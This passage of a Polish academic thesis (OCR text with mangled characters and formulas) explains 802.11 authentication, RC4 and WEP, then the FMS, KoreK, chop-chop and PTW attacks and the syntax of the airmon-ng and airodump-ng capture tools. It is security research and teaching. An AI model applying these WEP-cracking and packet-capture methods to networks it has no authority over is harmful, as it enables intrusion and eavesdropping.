przez urzadzenia. Moglaby zosta¢ wykorzystana w czujnikach umieszczanych w
okreslonych miejscach, wymagajacych prostej konstrukcji, niewielkich rozmiaréw oraz
niewielkiego poboru mocy. Jednak bardzo czgsto wykorzystuje si¢ ja we wszystkich
omawianych w punkcie 4 topologiach z powodu niewiedzy lub w potaczeniu z
catkowitym brakiem szyfrowania. Jednak przy wspolpracy z algorytmem WEP (ang.
Wired Equivalent Privacy) jest ona pewnego rodzaju mechanizmem zabezpieczenia
dostgpu do sieci, gdyz uniemozliwia transmisj¢ danych bez znajomosci kluczy
sieciowych.

Uwierzytelnianie z kluczem wspotdzielonym (ang. Shared-Key Authentication)
wymaga od punktu dostgpowego 1 stacji klienckich zalaczonego szyfrowania WEP oraz
pasujacych do siebie kluczy (Rys. 4.2). Proces uwierzytelniania rozpoczyna si¢ w
momencie wystania przez klienta Zadania uwierzytelnienia w trybie z kluczem
wspoétdzielonym. Punkt dostgpowy nastgpnie odpowiada ramka wezwania, ktdéra
zawiera jawny tekst. Nastgpnie klient szyfruje tekst wezwanie algorytmem WEP i

odsyta do punktu dostepowego. Jesli AP jest w stanie deszyfrowac tekst wezwania —
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oznacza to, ze klient zna poprawny klucz dostgpu do sieci 1 dzigki temu moze uzyskaé
do niej dostep.

Opcjonalna weryfikacja adresu fizycznego MAC klientow (Rys. 4.3),
probujacych skojarzy¢ si¢ z siecia bezprzewodowa, polega na sprawdzaniu istnienia
omawianego adresu na tzw. li§cie kontroli dostgpu ACL (ang. Access Control List).
Taka lista moze by¢ umieszczona lokalnie na urzadzeniu dystrybucyjnym lub na poza
nim (zewngtrzny serwer uwierzytelniajacy np. RADIUS). Weryfikacja adresu MAC
moze by¢ stosowana tacznie z poprzednimi dwoma metodami uwierzytelniania. Jest
jednak do$¢ wuciazliwa dla administratorow sieci bezprzewodowych z uwagi na

konieczno$¢ czgstego wprowadzania na niej zmian.

iq{lanie uwierzytelnienia . { ))

Pozytywna odpowiedZ na Zadanie

iatlnnie skojarzenia

Odpowiedz na Zadanie skojarzenia

Transmisja

Rys. 4.1. Procedura uwierzytelniania otwartego

iatlnnie uwierzytelnienia

Tekst wezwania ' (( ))

Zaszyfrowany tekst wezwania

Odpowiedz na Zadanie

{jak w uwierzytelnianiu otwartymy}

Transmisja

Rys. 4.2. Procedura uwierzytelniania z kluczem wspotdzielonym
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Rys.4.3. Weryfikacja adresu fizycznego MAC w procedurze skojarzenia

4.2. Mechanizmy szyfrowania oraz integralnosci danych

Szyfrowanie transmisji danych ma na celu uniemozliwienie nieupowaznionym
jednostkom wgladu do przesytanych informacji. Od strony kryptograficzne; —
szyfrowanie to zastosowanie algorytméw, ktore nadajq transmisji danych przypadkowy
wyglad. Standard 802.11 przewiduje wykorzystanie tzw. szyfrow strumieniowych z
wektorami inicjacyjnymi IV (ang. [nitialization Vector) do zapewnienia poufnosci
transmisji danych.

Szyfry strumieniowe generuja ciagly strumien klucza (ang. Key Stream), ktory w
rzeczywisto$ci oparty jest o warto$¢ klucza. Nastgpnie strumien klucza mieszany jest z
danymi wejSciowymi albo jawnym tekstem co w wyniku daje szyfrogram (ang.
Ciphertext). Szyfry strumieniowe nie wymagaja duzych mocy obliczeniowych
procesorow, poniewaz ich algorytmy sa bardzo proste i szybkie. Podstawowa metoda

wykorzystywana w omawianym typie szyfrow jest algorytm RC4.

4.2.1. Algorytm RC4

Algorytm RC4 zostat opracowany w 1987 roku przez Rona Rivesta i do 1994
roku byt powszechnie wykorzystywany jako szyfr strumieniowy w wielu metodach
szyfrowania. Wykorzystuje on dwa algorytmy: algorytm zarzadzania kluczami KSA
(ang. Key Shedulling Algorithm) oraz pseudo-losowy algorytm PRGA (ang. Pseudo-
Random Generation Algorithm) [7]. RC4 zawiera ukryte wewngtrzne stany, ktore

sktadaja si¢ z permutacji (wszystkich mozliwych kombinacji) dla n-bitowego stowa
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kodowego. Stany te umieszczone sa w tablicy S. W praktycznych zastosowaniach n=S8
co daje N =2%=256-elementowa tablice S.

Algorytm zarzadzania kluczami KSA (Rys. 4.4) wykonuje N iteracji. Ma on za
zadanie inicjalizacj¢ stanu poczatkowego tablicy S polegajaca na przypisaniu kolejnej
wartos$ci i wzdluz catej tablicy oraz zwigkszeniu warto$ci j o sumg elementu S[i] i
kolejnego sposrod stow klucza K. Kolejne stowo klucza K okreslane jest jako wynik
dzielenia i mod [, gdzie [ to dlugos¢ klucza.

Algorytm PRGA (Rys. 4.5) inicjalizuje dwie wartosci i oraz j ze stanem
poczatkowym o warto$ci 0. Nastgpnie wykonuje ciagla pgtlg, powtarzajac cztery proste
operacje: inkrementacja i jako licznika, pseudolosowa inkrementacja j, zamiana
miejscami elementéw tablicy S[i] 1 S[j] oraz przekazanie wyniku operacji (strumien
klucza) jako sume¢ modulo N elementow S[i] 1 S[j]. W efekcie kazdy element tablicy S

jest zmieniany raz na N iteracji pgtli.

j:=j+S[i]+K[i mod I)
zamiana (SIi], SIi])
i:=i+1

Rys. 4.4. Algorytm zarzadzania kluczem KSA
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i:=i+1 (modulo N)
j:=j+8]i] (modulo N)
zamiana (S[i], S[j])

wynik:= S[i] + S[j] (modulo N)

A
<wynik (strumien klucza)>

Rys. 4.5. Algorytm pseudolosowej generacji PRGA
4.2.2. Algorytm WEP

W mys$l omawianego standardu IEEE 802.11, poufno$¢ danych zapewnia
algorytm WEP (ang. Wired Equivalent Privacy), ktoérego nazwa zostala dos¢
niefortunnie dobrana w odniesieniu do mozliwos$ci jakie oferuje. Algorytm ten opiera
si¢ na omawianej w punkcie 4.2 metodzie szyfrowania RC4 z n=8. Nalezy do rodziny
symetrycznych szyfrow, ktorych natura wymaga aby dwa urzadzenia komunikujace si¢
migdzy soba miaty statycznie zainstalowane (skonfigurowane) identyczne klucze WEP.
W pierwszej wersji standardu klucz WEP przewidziany zostal jako 40-bitowe stowo
jednak producenci sprzetu otrzymali mozliwos$¢ zwigkszenia tej liczby do 104 bitow
(tzw. WEP2). W konfiguracji programowej urzadzen zgodnych z omawianym
standardem zauwazy¢ mozna, iz klucz szyfrujacy opisany jest jako 64- lub 128-bitowy.
Jest to pewnego rodzaju chwyt marketingowy, ktory po czg$ci charakteryzuje sig
zgodnoscia z sytuacja rzeczywista. Do klucza 40- lub 104-bitowego, ktory uzytkownik
wpisuje recznie zazwyczaj w formacie znakowym (5 znakow) lub szesnastkowym (10
znakow), doklejany jest na poczatku wektor inicjacyjny IV o dlugosci 24 bitow.
Nastgpnie ztozenie IV oraz klucza jest przekazywane do mechanizmu zarzadzania
kluczem KSA jako warto$¢ K omawiana w punkcie 4.2.

Wektor inicjacyjny IV to inkrementowana (lub losowa) warto$¢ binarna, ktéra
nie pozwala na dopuszczenie do sytuacji, kiedy jedna tre$¢ szyfrowana dwukrotnie ma
taki sam strumien klucza. Aby uniknaé powyzszej sytuacji, IV powinien by¢ inny dla
kazdej transmitowanej ramki. W przeciwnym wypadku wystgpuje tzw. kolizja

wektorow 1V, ktora daje mozliwo$¢ odgadnigcia jawnego tekstu poprzez znalezienie
25



podobienstw w informacji zaszyfrowanej. W chwili obecnej produkowane urzadzenia
wspieraja inkrementacj¢ (lub pseudo-losowa generacj¢) wektora IV dla kazdej
przesylanej ramki a kolizja wystepuje raz na 2** ramek.

Szyfrowanie WEP stosowane jest wylacznie w ramkach danych i1 dotyczy
jedynie dwoéch pdl ramki: zawarto$¢ ramki oraz ICV (ang. Integrity Check Value).
Pierwsze z nich przenosi dane uzytkownika natomiast drugie jest dodatkiem do
sekwencji FCS, sprawdzajacej ramkg. ICV ma zadanie zapewni¢ integralnos¢
przesytanej ramki czyli potwierdzenie, ze podczas transmisji nie zostata ona zmieniona
lub uszkodzona (Rys. 4.6). Jest ona obliczana za pomoca funkcji CRC-32 na podstawie

wszystkich pol w ramce.
FRAGMENT RAMKI Z
JAWNYM TEKSTEM

FRAGMENT RAMKI Z
JAWNYM TEKSTEM

32-bit ICV ——————» DOWEP

Rys. 4.6. Proces dotaczania wartosci ICV do fragmentu ramki

Proces szyfrowania za pomoca algorytmu WEP przedstawiono na rysunku 4.7.
Ramka danych z jawnym tekstem w fazie poczatkowej podlega fragmentacji a nastgpnie
procesowi dolaczania ICV. Otrzymany wynik poddawany jest operacji XOR (ang.
Exclusive OR) ze strumieniem klucza, wygenerowanym przez algorytm RC4 na
podstawie ztozenia klucza ICV z kluczem WEP. W ostatnim kroku, przed zaszyfrowany
fragment ramki z ICV doklejany jest wektor inicjacyjny IV w postaci jawnego tekstu.

Tak przygotowana ramka danych jest gotowa do transmisji przez medium.
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RAMKA DANYCH Z
JAWNYM TEKSTEM

FRAGMENT RAMKI Z
JAWNYM TEKSTEM

KLUCZ WEP v
[
A 4
) 4
RC4

STRUMIEN KLUCZA

FRAGMENT RAMKI Z
JAWNYM TEKSTEM
ORAZ ICV

XOR 4

DO TRANSMISJI

A

Rys.4.7. Proces szyfrowania WEP

IV oraz FRAGMENT
ZASZYFROWANEJ
RAMKI Z ICV

Deszyfrowanie WEP zostatlo przedstawione na rysunku 4.8. Na podstawie IV z

otrzymanego fragmentu ramki oraz statycznie skonfigurowanego klucza WEP,

obliczany jest strumien klucza za pomoca algorytmu RC4. Nastgpnie strumien klucza

zostaje poddany operacji XOR na fragmencie zaszyfrowanej ramki. W wyniku powstaje

fragment ramki z jawnym tekstem oraz wartoscig ICV. Kolejno nastgpuje sprawdzenie

integralnos$ci ramki procedura ICV (obliczenie CRC-32 dla wszystkich elementow

ramki oraz poroéwnanie z rozszyfrowanym ICV) oraz wyodrgbnienie fragmentu ramki z

tekstem jawnym lub odrzucenie calej zawartosci.

KLUCZ WEP A >@—>

IV oraz FRAGMENT
ZASZYFROWANEJ
RAMKI Z ICV

STRUMIEN KLUCZA

FRAGMENT RAMKI Z
JAWNYM TEKSTEM

T

FRAGMENT RAMKI Z
JAWNYM TEKSTEM
ORAZ ICV

Rys. 4.8. Proces deszyfrowania WEP

ODRZUCENIE RAMKI Z
BLtEDNYM ICV
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Algorytm WEP opracowano z mysla o niewielkich mocach obliczeniowych
procesordw, potrzebnych do jego wydajnego funkcjonowania, ktore byty
ogolnodostegpne w latach 90-tych XX wieku. Jednak, jak wkrotce okazato sig,
gwattowny rozw0j technologii mikroprocesorowej doprowadzit do szybkiego wzrostu

szybkosci ich taktowania oraz miniaturyzacji i redukcji poboru mocy.

5. Analiza zabezpieczen 802.11

Juz od dawna wiadomo, ze metody zapewnienia bezpiecznego uwierzytelniania
oraz poufno$ci definiowane przez standard 802.11 sa niewystarczajace. Wielu badaczy
kryptografii, haker6w a nawet amatorow udowodnilo, Zze zabezpieczen tych nie
powinno stosowa¢ si¢ w praktyce gdyz narazaja one uzytkownikow sieci
bezprzewodowych na kradziez lub modyfikacje przesytanych danych. Niestety wielu
sposréd administratorow sieci bezprzewodowych uwaza, ze lepsze sa jakiekolwiek
zabezpieczenia niz zadne. Jest to oczywiscie prawda, jednak w niniejszym rozdziale
przedstawione zostana metody, za pomoca ktorych w bardzo krotkim czasie (rzgdu
kilku minut) mozna ztamaé algorytm WEP oraz oferowane przez 802.11 metody
uwierzytelniania. W konsekwencji — sieci tak zabezpieczone zachowuja si¢ jak otwarte
na petlny dostgp. Zdecydowana wigkszo$¢ potrzebnych materiatow oraz rozwiazan
znalez¢ mozna w zasobach Internetu, niestety bez odpowiedniego zaplecza

teoretycznego.

5.1. Uwierzytelnianie otwarte 802.11

Uwierzytelnianie otwarte nie daje punktowi dostgpowemu zadnej mozliwo$ci

ustalenia, czy taczaca si¢ stacja bezprzewodowa ma prawo korzystac z sieci czy tez nie.
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Autoryzacj¢ oraz skojarzenie z siecia otrzyma kazdy, kto tego zazada. Administratorzy
wigkszych sieci bezprzewodowych uzywaja tego trybu uwierzytelniania w polaczeniu z
brakiem szyfrowania WEP z uwagi na wigksza wydajnos$¢ sieci i mniej probleméw z
konfiguracja w przypadku klientow.

Problem autoryzacji rozwiazywany jest w tym przypadku przy pomocy np.
protokotu PPPoE (ang. Point-to-Point Protocol over Ethernet), ktory umozliwia
enkapsulacj¢ standardowego protokotu TCP/IP w ramki PPPoE warstwy tacza danych.
Autoryzacja uzytkownika w sieci polega na podaniu nazwy uzytkownika oraz hasta
podobnie jak w polaczeniu modemowym lub DSL. Metoda ta jednak, w przypadku
PPPoOE, posiada wadg, ktora praktycznie dyskwalifikuje ja catkowicie. Wystarczy, ze
nieautoryzowany uzytkownik sieci uruchomi u siebie serwer ustugi PPPoE, a wszyscy
uzytkownicy, ktorych czas opoOznienia w transmisji jest krotszy do niego niz do
wlasciwego serwera, potacza si¢ z falszywym serwerem PPPoE. W takim przypadku
odpowiednio spreparowany falszywy serwer jest w stanie przeja¢ informacje
autoryzacyjne od autoryzowanych klientow. Dodatkowo, nieautoryzowany klient moze
wysyta¢ sztucznie spreparowane ramki protokotu PPPoE do aktualnie podtaczonych
uzytkownikéw powodujac ich roztaczenie z siecia na poziomie PPPoE.

Innym, ciekawszym rozwiazaniem problemu otwartego uwierzytelniania 802.11
jest uzywanie technik VPN (ang. Virtual Private Network). Polegaja one na tworzeniu
wirtualnych potaczen w ramach istniejacego juz potaczenia np. w ramach protokotu IP
oraz szyfrowaniu 1 kapsutkowaniu tego protokotu wewnatrz pofaczenia. Jednak w takim
przypadku wazne jest, aby do szyfrowania oraz weryfikacji tozsamosci uzywac tajnych
certyfikatow cyfrowych po obu stronach transmisji. Wszystko po to, aby klient sieci
mogl zweryfikowa¢ tozsamo$¢ serwera, do ktérego si¢ laczy oraz serwer mogt
sprawdzi¢ tozsamos$¢ klienta probujacego uzyska¢ dostgp do sieci. VPN jest
mechanizmem warstwy trzeciej zatem musi istnie¢ logiczne polaczenie migdzy hostem
a serwerem. Polaczenie takie moze zosta¢ w bardzo tatwy sposob przechwycone przy
wykorzystaniu metody Man In The Middle, polegajacej na falszowaniu odpowiedzi
ARP (ang. Address Resolution Protocol). Jednym ze sposobow uchronienia si¢ przed
tego rodzaju atakiem jest statyczna konfiguracja tablicy ARP na wszystkich
urzadzeniach w sieci. Omawiana metoda nalezy jednak do aspektow warstwy trzeciej
dlatego dalsze rozwazania na jej temat nie bgda prowadzone w niniejszej pracy

dyplomowe;.
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5.2. Uwierzytelnianie z kluczem wspoéldzielonym

Uwierzytelnianie z kluczem wspotdzielonym (ang. Shared Key Authentication)
wymaga, aby do szyfrowania tekstu wezwania (ang. Challenge Text) algorytmem WEP
klient uzywat identycznego klucza jak punkt dostgpowy. Poniewaz tekst wezwania
wysylany jest w postaci jawnej, istnieje mozliwo$¢ przechwycenia go a nastgpnie
przechwycenia zaszyfrowanej odpowiedzi na niego. Wykonanie operacji XOR na tych
dwoch elementach da w rezultacie strumien klucza, ktory moze zosta¢ wykorzystany do
deszyfrowania ramek pasujacych rozmiarem do strumienia klucza przy zalozeniu, Ze
wektor inicjacyjny jest taki sam w ramkach. Jak stwierdzono wcze$niej, wigkszos¢
producentéw sprzetu implementuje jednak inkrementacje lub pseudolosowos¢ 1V, co
migdzy innymi zapobiega takim sytuacjom.

Punkty dostgpowe, ktdre wysylaja statycznie okreslony tekst wezwania przy
uwierzytelnianiu z kluczem wspotdzielonym, narazone sa dodatkowo na bardzo
niebezpieczng sytuacjg¢. Nieautoryzowana stacja bezprzewodowa moze przechwycié
zaszyfrowana odpowiedz na tekst wezwania od autoryzowanego klienta a nastgpnie
wykorzysta¢ ja do falszywego uwierzytelnienia. W sytuacji takiej AP odbierajac
zaszyfrowana odpowiedZ od nieautoryzowanego klienta, pozytywnie weryfikuje ja a
nastgpnie zezwala na autoryzacj¢ i1 otwiera logiczny port dla niego. Rowniez w takim
przypadku producenci sprzgtu znalezli rozwigzanie zaczerpnigte z inkrementacji IV. W
punktach dostgpowych wybranych producentéw zaimplementowano pseudolosowa
generacjg tekstu wezwania, przeprowadzang dla kazdego klienta probujacego uzyskac
dostgp do sieci bezprzewodowej z zalaczonym uwierzytelnianiem z kluczem
wspotdzielonym. Zabezpiecza ona sie¢ przed aktywnymi oraz inwazyjnymi atakami
takimi jak wstrzykiwanie pakietow ARP, ktore zostanie omowione w dalszej czgsci

niniejszego rozdziatu.

5.3. Weryfikacja adresow fizycznych MAC

Weryfikacja adresow fizycznych MAC opiera sig na zapisaniu do listy dostgpu
adresow MAC, dopuszczonych do komunikacji w sieci. Fizyczne adresy Zrodlowe oraz
docelowe przesylane sa we wszystkich rodzajach ramek 802.11 za pomoca tekstu
jawnego. Przy uzyciu narzgdzi typu airodump-ng, dysponujac odpowiednia anteng oraz
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begdac w odpowiednim punkcie sieci bezprzewodowej, mozna zidentyfikowac wszystkie
stacje bezprzewodowe aktualnie skojarzone z punktem dostgpowym pod wzglgdem
adresow MAC.

Podmiana wilasnego adresu MAC karty sieciowe] oferowana jest na wigkszosci
obecnie produkowanych kart bezprzewodowych. Teoretycznie odbywa si¢ ona poprzez
zastapienie adresu UAA (ang. Universally Administered Address) adresem LAA (ang.
Locally Administered Address). Pierwszy z nich to adres trwale zapisany w pamigci
ROM karty bezprzewodowej przez producenta. W praktyce, w systemach rodziny
Microsoft Windows wystarczy odpowiednia aplikacja (np. MAC Make-Up), ktora przy
pomocy interfejsu GUI (ang. Graphic User Interface) kilkoma kliknigciami moze
podmieni¢ adres MAC. W systemach opartych o dowolna dystrybucj¢ Linux, podmiana
MAC odbywa si¢ za pomoca jednej linijki tekstu wykonanej w terminalu, ktory zostat
uruchomiony z prawami uzytkownika root. Weryfikacja adresow fizycznych MAC na
AP nie jest przeszkoda dla wlamywaczy, a jedynie dla osob, ktére nie posiadaja
podstawowej wiedzy o sieciach WLAN.

5.4. Algorytm WEP

Historia ujawniania wad algorytmu WEP rozpoczgta sig¢ w 2001 roku w
momencie opublikowania artykutu trzech kryptograféw: Scotta Fluhrera (Cisco
Systems, USA), Itsika Mantina (Computer Science department, Israel) oraz Adiego
Shamira (Computer Science department, Israel), ktorzy znani sa pod inicjatami FMS.

Opisali oni powazne podatnosci algorytmu RC4 na dwa rodzaje atakow

kryptograficznych [7]:

a) atak na niezmienno$¢ klucza szyfrujacego K;

b) atak ze znanym wektorem IV.

Oba z tych atakow wykorzystuja fakt, ze dla niektorych wartosci klucza K
poczatkowe bajty strumienia klucza moga by¢ zalezne jedynie od kilku bitow klucza K.
Weczesdniej teoretycznie oszacowano, ze kazdy nastgpny bit strumienia klucza powinien
r6zni¢ si¢ od poprzedniego z prawdopodobienstwem 0.5. Wywnioskowac z tego faktu
mozna, ze skoro klucz szyfrujacy tworzony jest poprzez konkatenacj¢ (proste sklejenie,
potaczenie blokow) IV z kluczem K to dla niektoérych wartosci IV istnieja tzw. klucze

stabe, co w efekcie otwiera mozliwo$¢ do statystycznej ich analizy. Sposrod dwoch
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wymienionych metod, od roku 2001 badana i udoskonalana jest metoda ataku
wykorzystujaca znajomos¢ wektora inicjacyjnego IV, ktory przesylany jest tekstem
jawnym. Skltada si¢ ona z trzech etapéw. W pierwszych dwoch ujawniane sa trzy
pierwsze stowa kodowe klucza K natomiast w trzecim, za pomoca iteracji, znajdowane
sa pozostatle stowa. Znajdowanie bitdow poszczegdlnych stow kodowych wymaga

dokonania dwoch ponizszych zalozen:

a) S1[1]+S1[S1[1]]:[+B
b) S,[l]<I

gdzie:

I — indeks kolejnego stowa kodowego IV,

B — indeks kolejnego stowa kodowego klucza K.

Out =85, [jI+B ] =S8, palrpa ]t K[B]"‘ Sy.palL + B] (5.1)

Z prawdopodobienstwem 0.05 oszacowa¢ mozna B-te stowo klucza K[B] na
podstawie wzoru 5.1. Aby zwigkszy¢ prawdopodobienstwo sukcesu do ponad 0.5,
wystarczy znalez¢ okoto 60 stabych wektorow inicjacyjnych IV, sktadajacych si¢ z 3-

bitowych stéw kodowych, z ktorych kazde ustala si¢ za pomoca zaleznosci 4.2.

[4+3,N-1,X] (5.2)

gdzie:

A —ilo$¢ znanych juz stow kodowych klucza (poczatkowo 0),

X = §][1] — pierwszy bit i-tej permutacji stowa kodowego w tablicy S.

Liczba pakietow danych potrzebna do przeprowadzenia ataku powyzsza metoda
waha si¢ miedzy 4 a 6 milionow. W przypadku sieci bezprzewodowych o duzym
nat¢zeniu ruchu, jest ona do osiagnigcia w kilka do kilkunastu godzin w zaleznos$ci od

technologii warstwy fizycznej zastosowanej w danej sieci. Technika FMS uwzglednia w
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obliczeniach tylko pierwszy bajt wyniku RC4. W lutym 2002 roku Dawid Hulton
(pseudonim hlkari) zmodyfikowatl ja tak, aby uwzgledniata réwniez kolejne bajty tego
wyniku, co dwa lata pdzniej (sierpien 2004) wykorzystat haker o pseudonimie KoreK.
Uogo6lnit on atak FMS korzystajacy z optymalizacji hlkariego, co w rezultacie
zmniejszyto znacznie liczbg pakietow potrzebnych do wyznaczenia bajtéw klucza do
okoto 0.5-2 milionow.

KoreK opracowal rowniez metode deszyfrowania dowolnych pakietow bez
znajomos$ci klucza WEP o nazwie chop-chop. Polega ona na modyfikacji kolejnych
bitéw pakietu oraz odsytaniu ich do punktu dostgpowego. W kolejnych krokach iteracji
kolejne bity ustawiane sa na O oraz pakiet zostaje retransmitowany. Procedura ta
zachodzi w momencie, kiedy AP nie odrzuci poprzednio zmodyfikowanego pakietu
(uzna go za prawidlowy). Jesli pakiet zostanie odrzucony — zmieniony bit zostaje
ustawiony na 1 oraz kolejny bit zostaje poddany powyzszej operacji. W przypadku gdy
producent sprzetu nie zaimplementowat zmiennego IV, metoda ta umozliwia w bardzo
krotkim czasie odtworzenie strumienia klucza.

W 2005 roku Andreas Klein przeprowadzil kolejne analizy algorytmu RCA4.
Zauwazyt on, ze pomigdzy strumieniem klucza a samym kluczem jest duzo wigcej
powiazan niz tych, okreslonych przez FMS. Analizy Kleina zapoczatkowaty dalsze
badania algorytmu RC4 przez niemieckich kryptografow: Erika Tewsa, Andrei
Pychkinego oraz Ralfa-Philippa Weinmanna. Grupg t¢ okreslono mianem PTW od
pierwszych liter nazwisk uczestnikow. Metoda PTW, opracowana w kwietniu 2007
roku, opiera swoje dziatanie o wyniki badan Kleina oraz o $cisle okreslone wiasciwosci
pakietow ARP w sieciach TCP/IP, ktorymi moga by¢ rowniez sieci 802.11 [8].

Aby host A mogl wysta¢ datagram protokotu TCP/IP do hosta B, musi zna¢ jego
adres fizyczny MAC. W celu poinformowania hosta A, jaki adres fizyczny ma host B o
danym adresie logicznym, wykorzystywany jest protokot ARP (ang. Address Resolution

Protocol). Funkcjonuje on na nastgpujacej zasadzie:
a) host A wysyla broadcastowe zapytanie do sieci (pod adres

FF:FF:FF:FF:FF:FF) o adres fizyczny hosta B, zawierajace adres logiczny
hosta B oraz fizyczny hosta A;
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b) host B otrzymuje broadcastowa informacj¢ i widzac w niej swoj adres
logiczny, wysyta pod adres fizyczny hosta A odpowiedZ z wlasnym adresem

fizycznym oraz logicznym.

Zapytania (zadania, ang. Request) oraz odpowiedzi (ang. Reply) ARP posiadaja
okreslong liczbg bajtow (16). Dodatkowo zadania ARP maja zawsze staly fizyczny
adres docelowy (FF:FF:FF:FF:FF:FF). Mozna wigc bez problemu rozrézni¢ je sposrod
innego rodzaju pakietow poniewaz adresy przesylane sa w postaci tekstu jawnego.
Metoda PTW opiera sig przede wszystkim na analizie strumieni kluczy otrzymanych w
wyniku wykonania operacji XOR na zaszyfrowanym zadaniu ARP oraz jego znanej
jawnej postaci. Pozwolito to diametralnie zmniejszy¢ ilos¢ wymaganych pakietéw do
przeprowadzenia analizy kryptograficznej do okoto 50 tysigcy dla klucza WEP o
dlugosci 104 bitéw. Zbieranie pakietow przeprowadzane jest za pomoca metody
wstrzykiwania pakietow ARP, polegajacej na ponownym, ciaglym wysytaniu
pierwszego odebranego pakietu zadania ARP do sieci. W efekcie generowany jest
sztuczny ruch pakietow, ktore szyfrowane sa za pomoca réznych strumieni klucza.
Wykorzystujac metodg wstrzykiwania mozna zebra¢ potrzebne dane w ciagu dostownie
kilkudziesigciu sekund. Metoda ta moze by¢ rowniez zastosowana w przypadku atakow
FMS oraz KoreKa. Rysunek 5.1 przedstawia prawdopodobienstwo sukcesu ztamania
104-bitowego klucza WEP w zaleznosci od ilo$ci unikalnych strumieni klucza przy

wykorzystaniu rozwigzania PTW.
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Rys. 5.1. Prawdopodobienstwo sukcesu ztamania 104-bitowego klucza WEP w zaleznos$ci od

ilosci zebranych strumieni klucza metoda PTW (zrédto: [8])
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5.5. Narzedzia do badania zabezpieczen 802.11

Od momentu ujawnienia wad wyzej omawianych metod zabezpieczen powstato
juz wiele aplikacji, ktore pozwalaja w prosty sposob je zbadaé. Zazwyczaj aplikacje
zostaly napisane w jezyku C++ oraz udostgpnione w postaci kodu zrédtowego w
Internecie. Daje to mozliwo$¢ kazdemu zainteresowanemu wglad w  zrodto
wykorzystanych algorytmow oraz mozliwo$¢ wlasnej ich modyfikacji. Najchgtniej
wykorzystywanym do tego celu srodowiskiem jest system operacyjny oparty o jedna z
dystrybucji Linux z uwagi na mozliwo$ci ograniczone jedynie wyobraZznia i
umiejetnosciami programisty. Ponadto wsparcie dla sprzgtu od strony sterownikow
réwniez przedstawia szeroka dowolno$¢ w ich modyfikacji. W miar¢ wzrostu
popularnos$ci niekomercyjnych systemow operacyjnych, producenci sprzetu zostali
zmuszeni do udzielenia wsparcia réwniez dla nich. Biorac pod uwage ilos¢ i
réznorodnos$¢ dystrybucji alternatywnych systemow operacyjnych, producenci zostali
zmuszeni do udostgpnienia sterownikow do swojego sprzgtu w postaci kodu
zrodtowego w jezyku C++ co stworzylo szerokie mozliwosci do omawianej ich
modyfikacji na wlasne potrzeby.

W chwili obecnej najefektywniejszym pakietem do badania zabezpieczen w
sieciach WLAN jest aircrack-ng (wersja 0.9) autorstwa Christophe’a Devine’a [22].
Sktada si¢ on z kilku aplikacji, z ktorych kazda, wykorzystana w niniejszej pracy

dyplomowej, zostala omowiona w dalszej czg$ci rozdziatu.

5.5.1. Aplikacja airmon-ng

Aby mozliwe bylo zebranie odpowiedniej liczby danych potrzebnych do
przeprowadzenia do$wiadczen, interfejs bezprzewodowy w komputerze badawczym
nalezy wprowadzi¢ w odpowiedni tryb pracy. Podczas normalnej pracy interfejsu
bezprzewodowego, odbiera on pakiety przeznaczone tylko 1 wytacznie dla niego na
podstawie docelowego adresu fizycznego MAC w pakiecie. Taka mozliwos¢ daje kazdy
sterownik, dostarczony przez producenta sprzgtu. Aplikacja airmon-ng pozwala
przetaczy¢ interfejs bezprzewodowy w tzw. tryb RF Monitor. Jest on odpowiednikiem
trybu Promiscious dla sieci przewodowych LAN. Umozliwia odbieranie wszystkich

pakietow krazacych aktualnie w eterze o dowolnym adresie docelowym MAC.
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Do wspotpracy z omawiang aplikacja zazwyczaj potrzebne sa zmodyfikowane
sterowniki do sprzetu, ktore umozliwia jego pracg w omawianym trybie. W chwili
obecnej opracowano taty (ang. patch) dla kilkunastu rodzajow kart bezprzewodowych,
ktore, za pomoca standardowych metod, aplikuje si¢ na oryginalne sterowniki
dostarczone przez producenta sprzgtu. Nastgpnie zmodyfikowane Zrodta sterownikow
poddawane zostaja kompilacji a wynikowy kod (zazwyczaj w postaci modutu jadra lub
biblioteki systemowej) dotacza si¢ do systemu operacyjnego.

Zadna z omawianych aplikacji nie posiada graficznego interfejsu uzytkownika
GUI, dlatego tez wywolanie kazdej z nich odbywa si¢ poprzez wiersz polecen. W
przypadku systemu Linux jest to konsola terminala. Sktadnia niniejszej aplikacji jest

nastgpujaca:

airmon-ng < start | stop > interfejs [ kanal ]

gdzie:
start | stop —uruchamia badz wylacza tryb Monitor;
interfejs — wskazuje nazwg interfejsu do przetaczenia w tryb Monitor;
kanat — parametr opcjonalny, wskazujacy kanat do nastuchiwania.

5.5.2. Aplikacja airodump-ng

Airodump-ng to narzedzie, umozliwiajace wykrywanie sieci bezprzewodowych
bedacych w zasiggu interfejsu radiowego pracujacego w trybie Monitor. Uruchamiajac
aplikacje bez zadnych parametréw, otrzymuje si¢ szczegdtowe informacje o adresach
fizycznych  MAC punktow dostgpowych oraz metodach uwierzytelniania oraz
szyfrowania w wybranych sieciach a takze informacje o ilosci odebranych pakietow
przez karte bezprzewodowa od danej sieci. Dodatkowym, bardzo niebezpiecznym
aspektem niniejszego programu jest automatyczne przedstawianie adresow fizycznych
MAC klientow aktualnie skojarzonych z danym punktem dostgpowym.

Omawiane narzgdzie oferuje réwniez mozliwo$¢ zapisu odebranych pakietow do
pliku z rozszerzeniem *.cap (ang. capture) oraz filtrowania ich pod wzgledem
wybranych wlasciwosci. Jednak do tego celu nalezy uzy¢ odpowiednich parametrow,

ktére omowione zostaly ponizej wraz ze sktadnia wywotania aplikacji:

airodump-ng < opcje > interfeijs
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gdzie:

interfe]js — wskazuje nazwg interfejsu, z ktoérego analizowane beda pakiety;

opcije — zestaw opcji, umozliwiajacych zoptymalizowanie analizy pakietow:

-—1ivs — zapis samych wektoréw inicjacyjnych IV;

--write prefiks pliku — zapis do pliku o wybranym prefiksie;
--beacons — dodatkowy zapis ramek BEACON;

--bssid adres MAC — filtrowanie pakietow pod wzgledem adresu
MAC punktu dostgpowego;

-—encrypt — zapis tylko zaszyfrowanych pakietow;

--channel kanat — zapis pakietow pochodzacych z transmisji na

okreslonym kanale.

5.5.3. Aplikacja aireplay-ng

Aplikacja ta umozliwia wstrzykiwanie (ang. injection) ramek do medium
propagacyjnego jakim jest eter. Podstawowa jej funkcja jest generowanie sztucznego
ruchu w celu zebrania odpowiedniej iloSci potrzebnych do analiz danych.
Wstrzykiwanie ramek, jak juz wspomniano wcze$niej, mozliwe jest dopiero po
instalacji zmodyfikowanych sterownikéw do karty bezprzewodowej. Oprocz generacji
sztucznego ruchu w sieci, aireplay-ng oferuje kilka innych dodatkowych mozliwosci,
zwigzanych z lukami bezpieczenstwa w sieciach zgodnych ze standardem 802.11.

Naleza do nich:
